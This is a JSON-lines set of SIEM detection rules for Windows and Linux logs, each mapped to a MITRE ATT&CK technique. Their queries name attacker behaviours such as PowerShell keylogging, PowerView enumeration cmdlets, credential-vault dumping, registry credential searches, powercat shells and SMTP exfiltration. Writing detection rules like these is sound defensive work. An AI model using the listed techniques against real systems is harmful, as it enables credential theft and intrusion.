{"description": "Adversaries may log user keystrokes to intercept credentials as the user types them.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "97764933-c6f2-139c-92b5-3435a85503c6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell Keylogging", "query": "(powershell.file.script_block_text:*Get\\-Keystrokes* OR (powershell.file.script_block_text:*Get\\-ProcAddress\\ user32.dll\\ GetAsyncKeyState* AND powershell.file.script_block_text:*Get\\-ProcAddress\\ user32.dll\\ GetForegroundWindow*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1056"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1056", "name": "Input Capture", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cde5f211-0c9c-0b9e-8e6e-453208434115", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Netsh Discovery Command", "query": "(process.command_line:*netsh\\ * AND process.command_line:*show\\ * AND process.command_line:*firewall\\ * AND process.command_line:(*config\\ * OR *state\\ * OR *rule\\ * OR *name\\=all*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1016"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1016", "name": "System Network Configuration Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113", "Christopher Peacock '@securepeacock'", "SCYTHE '@scythe_io'"], "license": ""}
{"description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", "enabled": false, "false_positives": ["Administrator, hotline ask to user"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "40c8941d-3d3d-9cd7-8737-ade72b777496", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Network Command", "query": "process.command_line:(*ipconfig\\ \\/all* OR *netsh\\ interface\\ show\\ interface* OR *arp\\ \\-a* OR *nbtstat\\ \\-n* OR *net\\ config* OR *route\\ print*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1016"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1016", "name": "System Network Configuration Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113", "Christopher Peacock '@securepeacock'", "SCYTHE '@scythe_io'"], "license": ""}
{"description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3bbeb74c-35ca-5505-5863-f4ea2abb9057", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Execution of SharpView Aka PowerView", "query": "(winlog.event_data.OriginalFileName:\"SharpView.exe\" OR process.executable.text:*\\\\SharpView.exe OR process.command_line.text:(*Get\\-DomainGPOUserLocalGroupMapping* OR *Find\\-GPOLocation* OR *Get\\-DomainGPOComputerLocalGroupMapping* OR *Find\\-GPOComputerAdmin* OR *Get\\-DomainObjectAcl* OR *Add\\-DomainObjectAcl* OR *Add\\-ObjectAcl* OR *Remove\\-DomainObjectAcl* OR *Get\\-RegLoggedOn* OR *Get\\-LoggedOnLocal* OR *Get\\-NetRDPSession* OR *Test\\-AdminAccess* OR *Invoke\\-CheckLocalAdminAccess* OR *Get\\-WMIProcess* OR *Get\\-NetProcess* OR *Get\\-WMIRegProxy* OR *Get\\-WMIRegLastLoggedOn* OR *Get\\-LastLoggedOn* OR *Get\\-WMIRegCachedRDPConnection* OR *Get\\-CachedRDPConnection* OR *Get\\-WMIRegMountedDrive* OR *Get\\-RegistryMountedDrive* OR *Find\\-InterestingDomainAcl* OR *Invoke\\-ACLScanner* OR *Get\\-NetShare* OR *Get\\-NetLoggedon* OR *Get\\-NetLocalGroup* OR *Get\\-NetLocalGroupMember* OR *Get\\-NetSession* OR *Get\\-PathAcl* OR *ConvertFrom\\-UACValue* OR *Get\\-PrincipalContext* OR *New\\-DomainGroup* OR *New\\-DomainUser* OR *Add\\-DomainGroupMember* OR *Set\\-DomainUserPassword* OR *Invoke\\-Kerberoast* OR *Export\\-PowerViewCSV* OR *Find\\-LocalAdminAccess* OR *Find\\-DomainLocalGroupMember* OR *Find\\-DomainShare* OR *Find\\-DomainUserEvent* OR *Find\\-DomainProcess* OR *Find\\-DomainUserLocation* OR *Find\\-InterestingFile* OR *Find\\-InterestingDomainShareFile* OR *Find\\-DomainObjectPropertyOutlier* OR *Get\\-NetDomain* OR *Get\\-DomainComputer* OR *Get\\-NetComputer* OR *Get\\-DomainController* OR *Get\\-NetDomainController* OR *Get\\-DomainFileServer* OR *Get\\-NetFileServer* OR *Convert\\-ADName* OR *Get\\-DomainObject* OR *Get\\-ADObject* OR *Get\\-DomainUser* OR *Get\\-NetUser* OR *Get\\-DomainGroup* OR *Get\\-DomainDFSShare* OR *Get\\-DFSshare* OR *Get\\-DomainDNSRecord* OR *Get\\-DomainForeignGroupMember* OR *Find\\-ForeignGroup* OR *Get\\-DomainForeignUser* OR *Find\\-ForeignUser* OR *ConvertFrom\\-SID* OR *Convert\\-SidToName* OR *Get\\-DomainGroupMember* OR *Get\\-NetGroupMember* OR *Get\\-DomainManagedSecurityGroup* OR *Find\\-ManagedSecurityGroups* OR *Get\\-DomainOU* OR *Get\\-NetOU* OR *Get\\-DomainSID* OR *Get\\-NetForest* OR *Get\\-ForestTrust* OR *Get\\-NetForestTrust* OR *Get\\-DomainTrust* OR *Get\\-NetDomainTrust* OR *Get\\-ForestDomain* OR *Get\\-NetForestDomain* OR *Get\\-DomainSite* OR *Get\\-NetSite* OR *Get\\-DomainSubnet* OR *Get\\-NetSubnet* OR *Get\\-DomainTrustMapping* OR *Invoke\\-MapDomainTrust* OR *Get\\-ForestGlobalCatalog* OR *Get\\-NetForestCatalog* OR *Get\\-DomainUserEvent* OR *Get\\-DomainGUIDMap* OR *Resolve\\-IPAddress* OR *ConvertTo\\-SID* OR *Invoke\\-UserImpersonation* OR *Get\\-DomainSPNTicket* OR *Request\\-SPNTicket* OR *Get\\-NetComputerSiteName* OR *Get\\-DomainGPO* OR *Get\\-NetGPO* OR *Set\\-DomainObject* OR *Add\\-RemoteConnection* OR *Remove\\-RemoteConnection* OR *Get\\-GptTmpl* OR *Get\\-GroupsXML* OR *Get\\-DomainPolicyData* OR *Get\\-DomainPolicy* OR *Get\\-DomainGPOLocalGroup* OR *Get\\-NetGPOGroup* OR *Invoke\\-Sharefinder*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1033", "T1049", "T1069", "T1135", "T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}, {"id": "T1049", "name": "System Network Connections Discovery", "reference": ""}, {"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1135", "name": "Network Share Discovery", "reference": ""}, {"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and\nto identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n", "enabled": false, "false_positives": ["Administrator script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1a3b3d94-f8be-8f9c-fdfc-7c3d2470ef7d", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Get Information for SMB Share", "query": "(powershell.command.invocation_details:*get\\-smbshare* OR winlog.event_data.Payload:*get\\-smbshare* OR ContextInfo:*get\\-smbshare*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1069"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and\nto identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1a3b3d94-f8be-8f9c-fdfc-7c3d2470ef7d", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Get Information for SMB Share", "query": "powershell.file.script_block_text:*get\\-smbshare*", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1069"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may manipulate accounts to maintain access to victim systems.\nAccount manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups\n", "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3c9ea10e-6f3d-9a12-b896-baf5ee23b1d3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell LocalAccount Manipulation", "query": "powershell.file.script_block_text:(*Disable\\-LocalUser* OR *Enable\\-LocalUser* OR *Get\\-LocalUser* OR *Set\\-LocalUser* OR *New\\-LocalUser* OR *Rename\\-LocalUser* OR *Remove\\-LocalUser*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.", "enabled": false, "false_positives": ["Legitimeate admin script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "027e7412-5509-3ee3-e86f-170d6d8cd5ca", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell Timestomp", "query": "powershell.file.script_block_text:(*.CreationTime\\ \\=* OR *.LastWriteTime\\ \\=* OR *.LastAccessTime\\ \\=* OR *\\[IO.File\\]\\:\\:SetCreationTime* OR *\\[IO.File\\]\\:\\:SetLastAccessTime* OR *\\[IO.File\\]\\:\\:SetLastWriteTime*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9b4ce6ec-1b19-43ef-45b3-280d396add8d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Dump Credentials from Windows Credential Manager With PowerShell", "query": "(powershell.file.script_block_text:(*Get\\-PasswordVaultCredentials* OR *Get\\-CredManCreds*) OR (powershell.file.script_block_text:*New\\-Object* AND powershell.file.script_block_text:*Windows.Security.Credentials.PasswordVault*) OR (powershell.file.script_block_text:*New\\-Object* AND powershell.file.script_block_text:*Microsoft.CSharp.CSharpCodeProvider* AND powershell.file.script_block_text:*\\[System.Runtime.InteropServices.RuntimeEnvironment\\]\\:\\:GetRuntimeDirectory\$\$\\)* AND powershell.file.script_block_text:*Collections.ArrayList* AND powershell.file.script_block_text:*System.CodeDom.Compiler.CompilerParameters*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1555"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1555", "name": "Credentials from Password Stores", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may search for common password storage locations to obtain user credentials.\nPasswords are stored in several places on a system, depending on the operating system or application holding the credentials.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e19a5134-7382-970c-e226-0ff8bece12b3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Enumerate Credentials from Windows Credential Manager With PowerShell", "query": "(powershell.file.script_block_text:*vaultcmd* AND powershell.file.script_block_text:*\\/listcreds\\:* AND powershell.file.script_block_text:(*Windows\\ Credentials* OR *Web\\ Credentials*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1555"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1555", "name": "Credentials from Password Stores", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credential", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b0a533fe-7690-3418-bbd9-f40d44a9d7ba", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Discover Private Keys", "query": "(process.command_line.text:(*dir\\ * OR *findstr\\ *) AND process.command_line.text:(*.key* OR *.pgp* OR *.gpg* OR *.ppk* OR *.p12* OR *.pem* OR *.pfx* OR *.cer* OR *.p7b* OR *.asc*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.\nThese can be files created by users to store their own credentials, shared credential stores for a group of individuals,\nconfiguration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f8c6cfba-671d-dfc9-5cc8-ffaed52dc87a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Extracting Information with PowerShell", "query": "(powershell.file.script_block_text:*ls* AND powershell.file.script_block_text:*\\ \\-R* AND powershell.file.script_block_text:*select\\-string\\ * AND powershell.file.script_block_text:*\\-Pattern\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials.\nThe Windows Registry stores configuration information that can be used by the system or other programs.\nAdversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "399860d9-1fa1-ab3d-321a-8aef632619d0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Enumeration for Credentials in Registry", "query": "((process.executable:*\\\\reg.exe AND process.command_line:*\\ query\\ * AND process.command_line:*\\/t\\ * AND process.command_line:*REG_SZ* AND process.command_line:*\\/s*) AND ((process.command_line:*\\/f\\ * AND process.command_line:*HKLM*) OR (process.command_line:*\\/f\\ * AND process.command_line:*HKCU*) OR process.command_line:*HKCU\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", "enabled": false, "false_positives": ["Legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5f65b700-fd8b-9ba4-b0fb-91041cf44fe8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "System Shutdown/Reboot", "query": "(type:\"EXECVE\" AND ((*shutdown* OR *reboot* OR *halt* OR *poweroff*) OR ((*init* OR *telinit*) AND (*0* OR *6*))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1529"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1529", "name": "System Shutdown/Reboot", "reference": ""}]}], "version": 1, "references": ["hhttps://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1529/T1529.md"], "timestamp_override": "event.ingested", "author": ["Igor Fits", "oscd.community"], "license": ""}
{"description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", "enabled": false, "false_positives": ["Legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5f65b700-fd8b-9ba4-b0fb-91041cf44fe8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "System Shutdown/Reboot", "query": "process.executable:(*\\/shutdown OR *\\/reboot OR *\\/halt)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1529"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1529", "name": "System Shutdown/Reboot", "reference": ""}]}], "version": 1, "references": ["hhttps://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1529/T1529.md"], "timestamp_override": "event.ingested", "author": ["Igor Fits", "Mikhail Larin", "oscd.community"], "license": ""}
{"description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", "enabled": false, "false_positives": ["Other SMTP tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eff2a697-07ce-8ab8-4351-29dbe0eb32dc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Outbound SMTP Connections", "query": "((destination.port:(\"25\" OR \"587\" OR \"465\" OR \"2525\") AND winlog.event_data.Initiated:\"true\") AND (NOT ((process.executable.text:(*\\\\thunderbird.exe OR *\\\\outlook.exe)) OR (process.executable.text:C\\:\\\\Program\\ Files\\\\Microsoft\\\\Exchange\\ Server\\\\*) OR (process.executable.text:C\\:\\\\Program\\ Files\\\\WindowsApps\\\\microsoft.windowscommunicationsapps_* AND process.executable.text:*\\\\HxTsr.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", "enabled": false, "false_positives": ["Legitimate script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "68498627-9742-9a1d-e69a-a5bfbeebc083", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell Exfiltration Over SMTP", "query": "(powershell.file.script_block_text:*Send\\-MailMessage* AND (NOT (powershell.file.script_block_text:*CmdletsToExport*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8b7f55ff-f1c9-15ed-e8b9-01d251fe0c3c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Execution of Taskkill", "query": "((process.executable:*\\\\taskkill.exe OR winlog.event_data.OriginalFileName:\"taskkill.exe\") AND (process.command_line:*\\ \\/f* AND process.command_line:*\\ \\/im\\ *))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1489"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1489", "name": "Service Stop", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange, SQL Server...etc.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "77f378d1-5a42-81d7-4135-fd1976da59e7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable Important Scheduled Task", "query": "(process.executable.text:*\\\\schtasks.exe AND process.command_line.text:*\\/Change* AND process.command_line.text:*\\/TN* AND process.command_line.text:*\\/disable* AND process.command_line.text:(*Microsoft\\\\Windows\\\\SystemRestore\\\\SR* OR *Microsoft\\\\Windows\\\\Windows\\ Defender\\\\* OR *Microsoft\\\\Windows\\\\BitLocker* OR *Microsoft\\\\Windows\\\\WindowsBackup\\\\* OR *Microsoft\\\\Windows\\\\WindowsUpdate\\\\* OR *Microsoft\\\\Windows\\\\UpdateOrchestrator\\\\* OR *Windows\\\\ExploitGuard*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1489"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1489", "name": "Service Stop", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "42109ad0-b16e-e5d2-d06e-005fc5cfe450", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell Local Email Collection", "query": "powershell.file.script_block_text:(*Get\\-Inbox.ps1* OR *Microsoft.Office.Interop.Outlook* OR *Microsoft.Office.Interop.Outlook.olDefaultFolders* OR *\\-comobject\\ outlook.application*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1114"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1114", "name": "Email Collection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may try to get information about registered services", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3686b7d0-f53f-91b9-2426-6c64b43a4d5a", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Sc Query", "query": "process.command_line:*sc\\ query*", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1007"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1007", "name": "System Service Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eec3d323-16c0-1156-d24c-1338edf73540", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Netcat The Powershell Version", "query": "process.command_line:(*powercat\\ * OR *powercat.ps1*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1095"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eec3d323-16c0-1156-d24c-1338edf73540", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Netcat The Powershell Version", "query": "ContextInfo:(*powercat\\ * OR *powercat.ps1*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1095"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.", "enabled": false, "false_positives": ["Legitimate script work"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f7fad3a5-e4da-a08f-a276-72ea94ac75e6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Binary Padding", "query": "((process.executable:*\\/truncate AND process.command_line:*\\-s*) OR ((process.executable:*\\/dd AND process.command_line:*if\\=*) AND (NOT (process.command_line:*of\\=*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Igor Fits", "Mikhail Larin", "oscd.community"], "license": ""}
{"description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware.\nThis rule detect using dd and truncate to add a junk data to file.\n", "author": ["Igor Fits", "oscd.community"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5fdc3e41-fc4c-5729-5629-adaa45507a2d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Binary Padding - Linux", "query": "(type:\"EXECVE\" AND (((*truncate* AND *-s*)) OR (((*dd* AND *if=*) AND (NOT (*of=*))))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
